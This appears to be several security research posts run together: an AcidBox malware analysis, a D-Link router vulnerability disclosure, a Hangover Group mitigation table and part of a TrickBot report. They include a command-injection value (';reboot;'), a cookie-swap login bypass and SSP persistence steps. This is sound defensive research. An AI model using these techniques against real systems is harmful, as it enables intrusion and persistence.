Figure 1. Vulnerable and patched VirtualBox device dispatch handler routines on the left and right, respectively
The vulnerability is located in the dispatch device control routine called VBoxDrvNtDeviceControl. On versions prior to 1.6.4, you can call the usermode DeviceIoControl API function and send one of the following control codes together with a kernel address you want to overwrite as the input/output buffer:
SUP_IOCTL_FAST_DO_RAW_RUN
SUP_IOCTL_FAST_DO_HM_RUN
SUP_IOCTL_FAST_DO_NOP
The kernel address is passed down to the control handler (see Figure 1 left, line 28) without any check or validation and is filled with the return value of supdrvIOCtlFast (see Figure 1 left, line 24). This is where the vulnerability digging from CoreSecurity stops and where Turla continues. In the original exploit, the return value from supdrvIOCtlFast isn’t controlled and thus it will be a random value written to your kernel address. Turla’s exploit controls the return value by overwriting the function pointer of supdrvIOCtlFast to redirect execution to a small shellcode, which returns the needed value. This was described in great detail in a couple of articles and the complete reverse-engineered exploit code is also available.
The patched version 1.6.4 (see Figure 1 right) doesn’t use the UserBuffer pointer anymore, which could be abused by passing a kernel address. Additionally, it checks if the rc variable is equal or bigger than zero -- which isn’t needed for the patch, but more like a sanity check.
With this patch, the original vulnerability to overwrite a kernel address was fixed. The other vulnerability that lets you control the function pointer of supdrvIOCtlFast remained unpatched. Of course, that’s because it wasn’t discovered by Core Security at the time, but only a few years later by the Turla threat actor.
While Turla still uses the vulnerable VirtualBox driver v.1.6.2 to date, it only makes use of the unpatched vulnerability. The reason why and how it uses it was described by Lastline, and also the reverse-engineered exploit code is available in a project named Turla Driver Loader.
The secret is the exact same exploit, with only a small modification -- which we won’t disclose here -- can be used on all VBoxDrv.sys versions up to 3.0.0. This was also figured out by an unknown threat actor. While VirtualBox versions smaller than 4.0 aren’t available on the official website anymore, they can still be found on some software download sites.
Starting from version 3.0.0, some structures and routines have changed so the exploit does not work anymore. However, it can’t be ruled out that in later versions it’s still possible to exploit the same vulnerability with some more adjustments.
What’s also interesting is that not even the Turla authors themself seem to have realized that. They still use the old VBoxDrv.sys v.1.6.2 in their otherwise stealthy exploit. This driver is widely known to be used for malicious or various otherwise dubious purposes, for example, in-game cheats.
Technical Analysis of AcidBox
The malware is a complex modular toolkit of which we have only a part of it. In total, we have found four 64-bit usermode DLLs and an unsigned kernelmode driver (SHA256: 3ef071e0327e7014dd374d96bed023e6c434df6f98cce88a1e7335a667f6749d). Three out of the four usermode samples have identical functionality and are loaders for the main worker module. They only differ in their file descriptions and the embedded and encrypted registry path. These loaders are created as security support providers (further SSP). A SSP is a DLL that exports at least the function SpLsaModeInitialize and usually provides security mechanisms such as authentication between client/server applications. There are a couple of standard SSPs provided in Windows such as Kerberos (kerberos.dll) or NTLM (msv1_0.dll). You can abuse the SSP interface for malware persistency and also for injection purposes. In order to maintain persistency, you have to put your SSP DLL into the Windows system directory and add the name of your DLL to a certain registry value. Upon a system restart, your DLL gets loaded into the Windows lsass.exe process and is executed. If you just want your SSP DLL to be injected into lsass.exe, you can call the API function AddSecurityPackage which triggers immediate loading. Of course, you need at least admin privileges for both of these methods. The first case of a malware abusing the SSP interface was mentioned by Matt Graeber in 2014. Since then, this persistence and injection trick has become wider known, but it’s still rarely used in malware.
In case of the three AcidBox SSP DLLs, they don’t make use of any security related operations, but purely abuse this interface for injection purposes and most likely also for persistence. The three SSPs have different file names that are similar to the standard packages provided in Windows (msv1_0.dll, pku2u.dll, wdigest.dll):
Figure 2. Standard SSP DLLs provided in Windows 7 present in the “Security Packages” value
For this reason, we conclude the AcidBox SSPs also abuse the interface for persistence. However, as we don’t have the component which installs the SSP DLLs, we don’t know for sure. What we know is that the SSP interface is used for injection into lsass.exe, as they check at the beginning whether the process path they're loaded into matches the one which is embedded into every sample in the resource section (C:\WINDOWS\SYSTEM32\lsass.exe). This process path is contained in the resource 4097 which we describe later how it is hidden via steganography.
The purpose of the AcidBox SSP DLLs is to load the main worker module from a registry value contained in resource 256 of each sample. We don’t know how the main worker DLL was stored in the registry, but we believe it was done by the same missing component which installed the SSP DLLs. We also assume that the three SSP DLLs are from three different systems as one of those samples has a different registry key embedded. Also, as these modules are the only visible part on a system -- with the main worker module being loaded remains encrypted in the registry -- they likely differ in some way like their chosen file name. The main worker is stored in the registry encrypted within a data blob that contains various other metadata such as the CRC32 hash of the data blob or magic byte sequences which indicate different types of contained data.
After the main worker DLL gets decrypted by a SSP DLL from the registry via simply XORing the data with key 0xCA, it gets prepared to be loaded from memory. It does so by creating a thread for the module and uses the exported function UpdateContext of the main worker as its start address. The main worker module then loads the unsigned malware driver via the VirtualBox exploit and waits for commands from one or more components that we don’t have. These commands include the loading of additional payloads from the registry from kernel space via the driver or the installation of new SSP DLLs.
The main worker has 2 export functions named InitMainStartup and UpdateContext. The following strings are present in cleartext:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
%s\%s
%s\%s{%s}
%s\[[%s]]
%s.dll
%s%s%s.dll
\\.\PCIXA_CFGDEV
InitEntry
InitExit
The Magic Word!
ntoskrnl.exe
ntkrn
ntkrp
hal.dll
ntoskrnl
ntkrnlpa.exe
%s%s%s
Group
Count
NextInstance
Root\LEGACY_NULL\0000
The following additional strings are stack obfuscated:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
SeLoadDriverPrivilege
%s\%c*.dll
System\CurrentControlSet\Control\
NtQueryInformationThread
BFE_Notify_Event_
Microsoft\Cryptography
ntdll.dll
\Registry\Machine\
SOFTWARE
Global
%s\%s
Security Packages
kernel32.dll
SOFTWARE
\Registry\Machine\
MachineGuid
ntdll.dll
There are also XOR-encoded DLL and function names, which later get dynamically resolved and used:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
ntdll.RtlGetVersion
ntdll.ZwLoadDriver
ntdll.ZwUnloadDriver
ntdll.ZwQuerySystemInformation
kernel32.DeviceIoControl
kernel32.GetSystemDirectoryA
ntdll.RtlAnsiStringToUnicodeString
ntdll.ZwClose
ntdll.ZwCreateFile
ntdll.ZwQueryInformationFile
ntdll.ZwReadFile
ntdll.ZwWriteFile
kernel32.GetSystemDirectoryA
kernel32.GetSystemDirectoryW
kernel32.BaseThreadInitThunk
kernel32.LZDone
advapi32.CryptAcquireContextA
advapi32.CryptGenRandom
advapi32.CryptReleaseContext
ntdll.RtlRbInsertNodeEx
ntdll.RtlRbRemoveNode
ntdll.RtlAcquireSRWLockExclusive
ntdll.RtlReleaseSRWLockExclusive
ntdll.RtlEnterCriticalSection
ntdll.RtlPcToFileHeader
ntdll.RtlGetVersion
ntdll.RtlUpcaseUnicodeChar
ntdll.RtlAnsiStringToUnicodeString
ntdll.LdrLockLoaderLock
ntdll.LdrUnlockLoaderLock
ntdll.ZwClose
ntdll.ZwCreateSection
ntdll.ZwMapViewOfSection
ntdll.ZwUnmapViewOfSection
All the functionality is contained in the two export functions, while DllMain does not contain any relevant code. What stands out is the extensive use of custom DWORD-size status codes throughout the code. Decompiled code example with status codes in result variable:
The main worker sample contains five icon resources with valid icons named 16, 256, 4097, 8193 and 12289. The names indicate different icon resolutions, but the icons only differ in the encrypted data appended to them which can be considered as a form of steganography. This data is encrypted with a custom algorithm and additionally zlib compressed. The same method is used within the SSP DLLs. A Python script for decryption and decompression can be found in the Appendix. After decryption, the data blob has the following structure:
1
2
3
4
5
6
7
8
9
structdata_blob{
DWORD marker;// Marker bytes (0x9A65659A)
DWORD crc32;// CRC32 value of decrypted or zlib uncompressed
bytes
DWORD size;// Size of decrypted or zlib uncompressed bytes
DWORD option;// Information if data is encrypted or zlib
Resources 16 and 256 are the Windows registry keys that contain the decryption key for the embedded driver in resource 8193 and additional payloads that are likely going to be injected by the AcidBox driver.
Resource 4097:
1
C:\WINDOWS\SYSTEM32\lsass.exe
This resource contains the path of the process each sample uses to verify it is being loaded into the correct process. Resource 8193 contains the unsigned kernelmode payload driver, which is also encrypted with RSA. The driver is realized as a kernelmode DLL with two export functions InitEntry and InitExit. It contains the following cleartext strings:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ntoskrnl.exe
ntkrn
ntkrp
hal.dll
ntoskrnl
ntkrnlpa.exe
csrss.exe
PsCreateSystemThread
\Device\VBoxDrv
\DosDevices\PCIXA_CFGDEV
\Windows\ApiPort
\Sessions\%u\Windows\ApiPort
\Sessions\xxxxxxxx\Windows\ApiPort
\Device\PCIXA_CFG
\DosDevices\PCIXA_CFGDEV
Resource 12289 contains the VirtualBox VBoxDrv.sys driver v2.2.0.0 signed by Sun Microsystems, which we previously described is also vulnerable.
Figure 3. Signed vulnerable VBoxDrv.sys driver version 2.2.0.0
A Little Forensic Tidbit in the PE header
While studying the samples, PE header characteristics -- an often overseen forensic indicator -- caught our attention. This little known fact can be found in the export directory and can be helpful for attributing malware samples. All of the AcidBox samples contain gaps between the single exported function entries:
Figure 4. Export directories of AcidBox samples with gaps between the export function entries
Every AcidBox sample has a NumberOfFunctions value in the export directory that is bigger than the NumberOfNames value. This isn’t something unusual, as not every exported function has to have a name too. Unnamed functions can be also called by their ordinal values. What is uncommon, however, is that the function entries which are unnamed are also zeroed out, thus not used.
This is the result when you use your own DEF file instead of __declspec(dllexport) to describe the attributes of your DLL file. When you use a DEF file, you can choose which ordinal your export function will have. This is not possible with __declspec(dllexport) as the Visual Studio compiler always counts your functions starting from one.
Using a DEF file instead of __declspec(dllexport) has some advantages. You are able to export functions by ordinals and you can also redirect functions among other things. The disadvantage is that you have to maintain an additional file within your project.
In the case of the AcidBox samples, we can conclude a couple of things. First, the author uses a DEF file, although he doesn’t make use of its advantages. This could indicate it’s a habit of the author to use DEF files. Second, the function ordinals seem to be chosen in steps of two integers. A possible explanation could be that the unused ordinals were once used for functions too. And last, if we assume the author really has chosen to make two integer steps, then in the usermode DLLs, one export function was removed. We can see that ordinal 3 is unused, leaving a bigger gap than one integer. All this information can be useful for malware attribution.
Conclusion
A new advanced malware, dubbed AcidBox, was used by an unknown threat actor in 2017 that went undetected until now. It uses a known VirtualBox exploit to disable Driver Signature Enforcement in Windows, but with a new twist: While it’s publicly known that VirtualBox driver VBoxDrv.sys v1.6.2 is vulnerable and used by Turla, this new malware uses the same exploit but with a slightly newer VirtualBox version.
Sometimes, you are still able to find a technically interesting Windows malware that uses a new technique. This has become quite a rarity in today’s threat landscape where everything is either a copy of a copy of a copy or technically underwhelming. While AcidBox doesn’t use any fundamentally new methods, it breaks the myth that only VirtualBox VBoxDrv.sys 1.6.2 can be used for Turla’s exploit. Appending sensitive data as an overlay in icon resources, abusing the SSP interface for persistence and injection and payload storage in the Windows registry puts it into the category of interesting malware.
The samples we dubbed AcidBox are only part of a bigger toolkit which we, unfortunately, could not identify. However, we provide two Yara rules for detection and threat hunting. Additionally, if you happen to find an additional sample, or are even infected, you can use the provided Python script to extract the sensitive data appended to the icon resources. All of these can be found here at Unit 42’s GitHub repository.
If you have any further information about this threat, don’t hesitate to contact us.
Palo Alto Networks customers are protected from this malware. Our threat prevention platform with WildFire identifies this malware as malicious. AutoFocus customers can investigate this activity with the tag AcidBox.
We would like to thank Dr.Web, Kaspersky, ESET and hFireF0X for their collaboration.
The malware takes the MachineGuid stored in the registry and reshuffles the single characters alternating from the end to the beginning and vice versa in steps of two. For example, the MachineGuid string a9982d3e-c859-4702-c761-df7eea468ade gets transferred into e9a86daeecf5--67c2-07419d87-e34289da and appended to the above templates.
On February 28, 2020, Palo Alto Networks’ Unit 42 researchers discovered six new vulnerabilities in D-Link wireless cloud routers running their latest firmware.
The vulnerabilities were found in the DIR-865L model of D-Link routers, which is meant for home network use. The current trend towards working from home increases the likelihood of malicious attacks against home networks, which makes it even more imperative to keeping our networking devices updated.
It is possible that some of these vulnerabilities are also present in newer models of the router because they share a similar codebase. The following are the six vulnerabilities found:
CVE-2020-13782: Improper Neutralization of Special Elements Used in a Command (Command Injection)
CVE-2020-13784: Predictable seed in pseudo-random number generator
CVE-2020-13783: Cleartext storage of sensitive information
CVE-2020-13787: Cleartext transmission of sensitive information
Different combinations of these vulnerabilities can lead to significant risks. For example, malicious users can sniff network traffic to steal session cookies. With this information, they can access the administrative portal for file sharing, giving them the ability to upload arbitrary malicious files, download sensitive files, or delete essential files. They can also use the cookie to run arbitrary commands to conduct a denial of service attack.
The Palo Alto Networks Next-Generation Firewalls with threat prevention are protected from this threat with custom signatures.
D-Link has released a patch that consumers are strongly recommended to install, which can be found at the following link: D-Link Announcement
CVE-2020-13782: Improper Neutralization of Special Elements Used in a Command (Command Injection)
The web interface for this router is controlled by the backend engine called cgibin.exe. Most requests for web pages are sent to this controller. If a request for scandir.sgi is made, a malicious actor can inject arbitrary code to be executed on the router with administrative privileges.
Figure 1. Malicious http request
The above image shows a GET request that can be made to __ajax_explorer.sgi that will be sent to scandir.sgi and cause the router to reboot. This particular attack would lead to a denial of service.
For the attack to work, there must be four parameters in the request:
action: this must be either mnt or umnt
path: this can be anything
where: this can be anything
en: this parameter is where the command injection occurs. In this case ;reboot; causes the router to restart.
This attack requires authentication, but it can be conducted by stealing an active session cookie because the web page is vulnerable to cross site request forgery as well. As will be seen with later vulnerabilities, stealing a session cookie is trivial for an attacker.
CVE-2020-13786: Cross-Site Request Forgery (CSRF)
There are multiple pages on the router’s web interface that are vulnerable to CSRF. This means that an attacker can sniff web traffic and use the session information to gain access to password-protected portions of the website without knowing the password.
The previous vulnerability already mentioned that the command injection can be conducted using CSRF. There is also a SharePort Web Access portal, which is an administrative web site for file sharing located on port 8181.
Below is a view of the traffic sniffed by a malicious user, in which they can use the uid to bypass logging in:
Figure 2. Cleartext transmission of UID
If the attacker were to navigate directly to the folder_view.php page, they can bypass the login screen but would have no functionality:
Figure 3. SharePort Web Access without authentication
If they were to simply change the value of the cookie to be the uid of the valid session, they would completely bypass authentication:
Figure 4. SharePort Web Access with authentication
The attacker now has the ability to do three different things:
View the contents of all files.
Delete any or all files.
Upload new files, including malware.
CVE-2020-13785: Inadequate Encryption Strength
When a user logs into the SharePort Web Access portal on port 8181, there is enough information sent in clear text for a listening attacker to determine a user’s password through a brute force attack.
Figure 5. Cleartext transmission of challenge
The above information is sent to the client from the router. The client will then calculate the password to send as follows:
MD5 HMAC of string equal to username + challenge with the actual password as the key.
The result of this calculation is sent back to the router in clear text:
By sniffing this handshake, the attacker now has access to the following information:
The data input for the MD5 HMAC algorithm = id + challenge
The result of the hashing algorithm = password
With this information, the attacker can determine the actual password by conducting a brute force attack completely offline.
CVE-2020-13784: Predictable Seed in Pseudo-Random Number Generator
There is an algorithm in the router’s code-base that calculates the session cookie randomly, but the result is predictable. An attacker only needs to know the approximate time that a user logged on to determine the session cookie, even if it is protected with encryption.
Every time a user logs on, the router responds with a cookie, challenge, and public key:
Figure 7. Cleartext transmission of challenge, cookie and public key
This information seems random, but it is created by a function called get_random_string. This function will seed the random number generated with the time of the login attempt. Thus, the result of the calculation can be predicted by an attacker who knows the time of the request.
Figure 8. Disassembly of random function seed
The result of this vulnerability is that even if the router is using HTTPS to encrypt session information, a sophisticated attacker can still determine the information necessary to conduct the CSRF attacks.
CVE-2020-13783: Cleartext Storage of Sensitive Information
The tools_admin.php page stores the admin password in clear text. In order for an attacker to get the password, they would require physical access to a machine that is logged on. Physical access is necessary because the credentials are not sent in clear text over the wire. With physical access, they can see the password by viewing the HTML source of the page:
Figure 9. Tools_admin.php web pageFigure 10. Cleartext storage of password
CVE-2020-13787: Cleartext transmission of sensitive information
The adv_gzone.php page is used to set up a guest wifi network. There are multiple options available for the security on this network. One option is Wired Equivalent Privacy (WEP), which was deprecated in 2004, and not recommended to secure a wireless network. If the administrator chooses this option, the password will be sent over the network in clear text:
Figure 11. Cleartext transmission of password
Malicious users sniffing network traffic can see the password used for the guest network.
Conclusion
In summary, the D-Link DIR-865L home wireless router has multiple vulnerabilities. Due to the number of people working from home, malicious actors have an incentive to attack routers meant for home networks.
These vulnerabilities can be used together to run arbitrary commands, exfiltrate data, upload malware, delete data or steal user credentials. These attacks are easiest to conduct if the router is set up to use HTTP, but a sophisticated attacker can still calculate the required session information if the router uses HTTPS.
Palo Alto Networks protects customers in the following ways:
Next-Generation Firewalls with threat prevention license can block the attacks with best practice via threat prevention signature 58410.
Recommendations
Install the latest version of the firmware with patches. The firmware can be found on the D-Link website where they announced the vulnerabilities: D-Link Announcement.
Default all traffic to HTTPS to defend against session hijacking attacks.
Change the time zone on the router to defend against malicious actors who are calculating the randomly generated session id. You can find how to do that on D-Link’s site.
Do not use this router to share sensitive information until it's patched.
Appendix
CVEs:
CVE-ID
Vulnerability type
Reference
CVE-2020-13782
Improper Neutralization of Special Elements Used in a Command (Command Injection)
Unit 42 researchers recently published on activity by the Hangover threat group (aka Neon, Viceroy Tiger, MONSOON) carrying out targeted cyberattacks deploying BackConfig malware attacks against government and military organizations in South Asia. As a result, we’ve created this threat assessment report for the Hangover Group’s activities. The techniques and campaigns can be visualized using the Unit 42 Playbook Viewer.
Hangover Group is a cyberespionage group that was first observed in December 2013 carrying on a cyberattack against a telecom corporation in Norway. Cybersecurity firm Norman reported that the cyberattacks were emerging from India and the group sought and carried on attacks against targets of national interest, such as Pakistan and China. However, there have been indicators of Hangover activity in the U.S. and Europe. Mainly focusing on government, military, and civilian organizations. The Hangover Group's initial vector of compromise is to carry out spear-phishing campaigns. The group uses local and topical news lures from the South Asia region to make their victims more prone to falling into their social engineering techniques, making them download and execute a weaponized Microsoft Office document. After the user executes the weaponized document, backdoor communication is established between BackConfig and the threat actors, allowing attackers to carry on espionage activity, potentially exfiltrating sensitive data from compromised systems.
Palo Alto Networks Threat Prevention platform with WildFire, DNS Security and Cortex XDR detects activity associated with this threat group. Customers can also review activity associated with this Threat Assessment using AutoFocus with the following tags: Hangover and BackConfig.
Impact Assessment
Several adversarial techniques were observed in this activity and the following measures are suggested within Palo Alto Networks’ products and services to ensure mitigation of threats related with the Hangover Group, as well as other groups using the same techniques:
Tactic
Technique
(Mitre ATT&CK ID)
Product / Service
Course of Action
Initial Access
Spearphishing Link (T1192)
NGFW
Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone
Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist
Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources Exists
Threat Prevention†
Ensure that antivirus profiles are set to block on all decoders except 'imap' and 'pop3'
Ensure a secure antivirus profile is applied to all relevant security policies
Ensure that User Credential Submission uses the action of 'block' or 'continue' on the URL categories
DNS Security
Enable DNS Security in Anti-Spyware profile
URL Filtering
Ensure that PAN-DB URL Filtering is used
Ensure that URL Filtering uses the action of 'block' or 'override' on the <enterprise approved value> URL categories
Ensure that access to every URL is logged
Ensure all HTTP Header Logging options are enabled
Ensure secure URL filtering is enabled for all security policies allowing traffic to the Internet
WildFire
Ensure that WildFire file size upload limits are maximized
Ensure forwarding of decrypted content to WildFire is enabled
Ensure all WildFire session information settings are enabled
Ensure alerts are enabled for malicious files detected by WildFire
Ensure 'WildFire Update Schedule' is set to download and install updates every minute
Execution
Exploitation for Client Execution (T1203)
Threat Prevention†
Ensure a Vulnerability Protection Profile is set to block attacks against critical and high vulnerabilities, and set to default on medium, low, and informational vulnerabilities
Ensure a secure Vulnerability Protection Profile is applied to all security rules allowing traffic
Cortex XDR
Enable Anti-Exploit and Anti-Malware Protection
User Execution (T1204)
NGFW
Ensure that User-ID is only enabled for internal trusted interfaces
Ensure that 'Include/Exclude Networks' is used if User-ID is enabled
Ensure that the User-ID Agent has minimal permissions if User-ID is enabled
Ensure that the User-ID service account does not have interactive logon rights
Ensure remote access capabilities for the User-ID service account are forbidden.
Ensure that security policies restrict User-ID Agent traffic from crossing into untrusted zones
Threat Prevention†
Ensure that antivirus profiles are set to block on all decoders except 'imap' and 'pop3'
Ensure a secure antivirus profile is applied to all relevant security policies
Ensure an anti-spyware profile is configured to block on all spyware severity levels, categories, and threats
Ensure DNS sinkholing is configured on all anti-spyware profiles in use
Ensure passive DNS monitoring is set to enabled on all anti-spyware profiles in use
Ensure a secure anti-spyware profile is applied to all security policies permitting traffic to the Internet
DNS Security
Enable DNS Security in Anti-Spyware profile
URL Filtering
Ensure that PAN-DB URL Filtering is used
Ensure that URL Filtering uses the action of 'block' or 'override' on the <enterprise approved value> URL categories
Ensure that access to every URL is logged
Ensure all HTTP Header Logging options are enabled
Ensure secure URL filtering is enabled for all security policies allowing traffic to the Internet
WildFire
Ensure that WildFire file size upload limits are maximized
Ensure forwarding of decrypted content to WildFire is enabled
Ensure all WildFire session information settings are enabled
Ensure alerts are enabled for malicious files detected by WildFire
Ensure 'WildFire Update Schedule' is set to download and install updates every minute
Cortex XDR
Enable Anti-Exploit and Anti-Malware Protection
Scripting (T1064)
WildFire
Ensure that WildFire file size upload limits are maximized
Ensure forwarding of decrypted content to WildFire is enabled
Ensure all WildFire session information settings are enabled
Ensure alerts are enabled for malicious files detected by WildFire
Ensure 'WildFire Update Schedule' is set to download and install updates every minute
Cortex XDR
Enable Anti-Exploit and Anti-Malware Protection
Defense Evasion
BITS Jobs (T1197)
NGFW
Ensure that User-ID is only enabled for internal trusted interfaces
Ensure that 'Include/Exclude Networks' is used if User-ID is enabled
Ensure that the User-ID Agent has minimal permissions if User-ID is enabled
Ensure that the User-ID service account does not have interactive logon rights
Ensure remote access capabilities for the User-ID service account are forbidden.
Ensure that security policies restrict User-ID Agent traffic from crossing into untrusted zones
Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone
Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist
Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources Exists
Cortex XDR
Configure Host Firewall Profile
Code Signing (T1116)
Cortex XDR
Enable Anti-Exploit and Anti-Malware Protection
Hidden Files and Directories (T1158)
Cortex XDR
Configure Behavioral Threat Protection under the Malware Security Profile
Deobfuscate/Decode Files or Information (T1140)
WildFire
Ensure that WildFire file size upload limits are maximized
Ensure forwarding of decrypted content to WildFire is enabled
Ensure all WildFire session information settings are enabled
Ensure alerts are enabled for malicious files detected by WildFire
Ensure 'WildFire Update Schedule' is set to download and install updates every minute
Obfuscated Files or Information (T1027)
WildFire
Ensure that WildFire file size upload limits are maximized
Ensure forwarding of decrypted content to WildFire is enabled
Ensure all WildFire session information settings are enabled
Ensure alerts are enabled for malicious files detected by WildFire
Ensure 'WildFire Update Schedule' is set to download and install updates every minute
Cortex XDR
Enable Anti-Exploit and Anti-Malware Protection
Command and Control
Commonly Used Port (T1043)
NGFW
Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone
Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist
Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources Exists
URL Filtering
Ensure that PAN-DB URL Filtering is used
Ensure that URL Filtering uses the action of 'block' or 'override' on the <enterprise approved value> URL categories
Ensure that access to every URL is logged
Ensure all HTTP Header Logging options are enabled
Ensure secure URL filtering is enabled for all security policies allowing traffic to the Internet
Standard Cryptographic Protocol (T1032)
NGFW
Ensure 'SSL Forward Proxy Policy' for traffic destined to the Internet is configured
Ensure 'SSL Inbound Inspection' is required for all untrusted traffic destined for servers using SSL or TLS
Ensure that the Certificate used for Decryption is Trusted
Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone
Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist
Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources Exists
Threat Prevention†
Ensure that antivirus profiles are set to block on all decoders except 'imap' and 'pop3'
Ensure a secure antivirus profile is applied to all relevant security policies
Ensure an anti-spyware profile is configured to block on all spyware severity levels, categories, and threats
Ensure DNS sinkholing is configured on all anti-spyware profiles in use
Ensure passive DNS monitoring is set to enabled on all anti-spyware profiles in use
Ensure a secure anti-spyware profile is applied to all security policies permitting traffic to the Internet
DNS Security
Enable DNS Security in Anti-Spyware profile
URL Filtering
Ensure that PAN-DB URL Filtering is used
Ensure that URL Filtering uses the action of 'block' or 'override' on the <enterprise approved value> URL categories
Ensure that access to every URL is logged
Ensure all HTTP Header Logging options are enabled
Ensure secure URL filtering is enabled for all security policies allowing traffic to the Internet
WildFire
Ensure that WildFire file size upload limits are maximized
Ensure forwarding of decrypted content to WildFire is enabled
Ensure all WildFire session information settings are enabled
Ensure alerts are enabled for malicious files detected by WildFire
Ensure 'WildFire Update Schedule' is set to download and install updates every minute
Remote File Copy (T1105)
NGFW
Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone
Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist
Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources Exists
WildFire
Ensure that WildFire file size upload limits are maximized
Ensure forwarding of decrypted content to WildFire is enabled
Ensure all WildFire session information settings are enabled
Ensure alerts are enabled for malicious files detected by WildFire
Ensure 'WildFire Update Schedule' is set to download and install updates every minute
Standard Application Layer Protocol (T1071)
NGFW
Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone
Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist
Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources Exists
Threat Prevention†
Ensure that antivirus profiles are set to block on all decoders except 'imap' and 'pop3'
Ensure a secure antivirus profile is applied to all relevant security policies
Ensure an anti-spyware profile is configured to block on all spyware severity levels, categories, and threats
Ensure DNS sinkholing is configured on all anti-spyware profiles in use
Ensure passive DNS monitoring is set to enabled on all anti-spyware profiles in use
Ensure a secure anti-spyware profile is applied to all security policies permitting traffic to the Internet
DNS Security
Enable DNS Security in Anti-Spyware profile
URL Filtering
Ensure that PAN-DB URL Filtering is used
Ensure that URL Filtering uses the action of 'block' or 'override' on the <enterprise approved value> URL categories
Ensure that access to every URL is logged
Ensure all HTTP Header Logging options are enabled
Ensure secure URL filtering is enabled for all security policies allowing traffic to the Internet
Table 1. Courses of Action for Hangover Group †These capabilities are part of the NGFW security subscriptions service
Conclusion
The Hangover Group is active and, according to Unit 42 visibility, is targeting government and military organizations in South Asia.
The group continues to make use of compromised, third-party infrastructure to support the delivery of their weaponized documents, using spear-phishing emails containing links to said sites.
The delivery documents continue to evolve and, over the years, have moved from plain text code and URLs to encoded. From storing encoded executables within the documents, to using ZIP files - including a package of files - to finally downloading executables from command and control servers.
The installation of the BackConfig malware by the delivery documents is performed using multiple stages and components, most likely to evade sandboxes or other automated analysis and detection systems. This includes the use of Virtualization-based Security (VBS), batch codes, scheduled tasks, and conditional trigger files.
Once fully installed, the BackConfig malware communicates with the threat actors using HTTPS making visibility and detection potentially more difficult, and blends in amongst other similar traffic.
Once an infected system is under an actor’s control, the objective varies on the plugins deployed and the type of system or organization compromised.
The suggested courses of action in this report are based on the information currently available to Palo Alto Networks and the capabilities within Palo Alto Networks’ products and services.
First discovered in 2016, TrickBot is an information stealer that provides backdoor access sometimes used by criminal groups to distribute other malware. TrickBot uses modules to perform different functions, and one key function is propagating from an infected Windows client to a vulnerable Domain Controller (DC). TrickBot currently uses three modules for propagation. As early as April 2020, TrickBot updated one of its propagation modules known as "mworm" to a new module called "nworm." Infections caused through nworm leave no artifacts on an infected DC, and they disappear after a reboot or shutdown.
Other key differences of the new nworm module include:
It retrieves an encrypted, or otherwise encoded binary, over network traffic that represents a TrickBot executable file (the old mworm module sent it as an executable file without any sort of encryption/encoding).
A TrickBot infection caused by the new mworm module is run from system RAM and does not appear to remain persistent on an infected host.
This is a much better method of evading detection on an infected DC.
TrickBot is a significant threat that has received high-profile coverage in recent years, and this is a notable evolution. This blog reviews TrickBot modules, and it covers characteristics of the new nworm module in greater detail.
TrickBot Modules
TrickBot is modular, meaning it uses various binaries to perform different functions during an infection. In most cases, the basis of a TrickBot infection is a malicious Windows executable (EXE) file saved to disk. This EXE is often called a "TrickBot loader" because it loads the TrickBot modules. TrickBot modules are dynamic link libraries (DLLs) or EXEs run from system memory. See Figure 1 for a visualization of TrickBot modules.
Figure 1. A visual representation of TrickBot and its modules.
On an infected Windows 10 host, TrickBot modules are only found in system memory. But on an infected Windows 7 host, we also see artifacts related to the modules stored on the disk. These artifacts are encrypted binaries. During a TrickBot infection, these encrypted binaries are decrypted and run from system memory as TrickBot modules. Figure 2 shows an example of artifacts for TrickBot modules from an infection on a Windows 7 client in January 2020.
Figure 2. Example of artifacts for TrickBot modules on an infected Windows 7 client.
As seen in Figure 2, the artifact names end with 64, meaning this host is running a 64-bit version of Windows 7. If the infection happens on a 32-bit Windows 7 host, these artifact names would end in 32 instead of 64.
Figure 2 also reveals three modules TrickBot uses to spread to a DC in an Active Directory (AD) environment. They are:
mwormDll64 (the "mworm" module)
mshareDll64 (the "mshare" module)
tabDll64 (the "tab" module)
Note: The tab module has a propagation function, but it also includes different capabilities not applicable to this blog.
Modules for Propagation
Starting in September 2019, TrickBot modules with propagation capabilities have been mworm, mshare, and tab. They generate distinct activity when propagating to a vulnerable DC.
For the mshare and tab modules:
An infected Windows client retrieves a new TrickBot EXE using an HTTP URL.
The infected Windows client sends this new TrickBot EXE over SMB traffic to the vulnerable DC.
For the mworm module:
The infected Windows client uses an SMB exploit targeting the vulnerable DC.
The vulnerable DC retrieves a new TrickBot EXE using an HTTP URL and infects itself with it.
Of note, the mworm module did not usually appear unless the TrickBot infection happened in an AD environment with a DC.
Figure 3 shows a flow chart of propagation traffic caused by these three TrickBot modules.
Figure 3. TrickBot propagation flow chart from September 2019 through March 2020.
Since February 2020, URLs generated by these modules to retrieve follow-up TrickBot EXE files used the following patterns:
URL generated by mshare module ends with /images/cursor.png
URL generated by mworm module ends with /images/redcar.png
URL generated by tab module ends with /images/imgpaper.png
These URLs use IP addresses instead of domains. Figure 4 shows an example of the traffic filtered in Wireshark from a pcap of a TrickBot infection in March 2020.
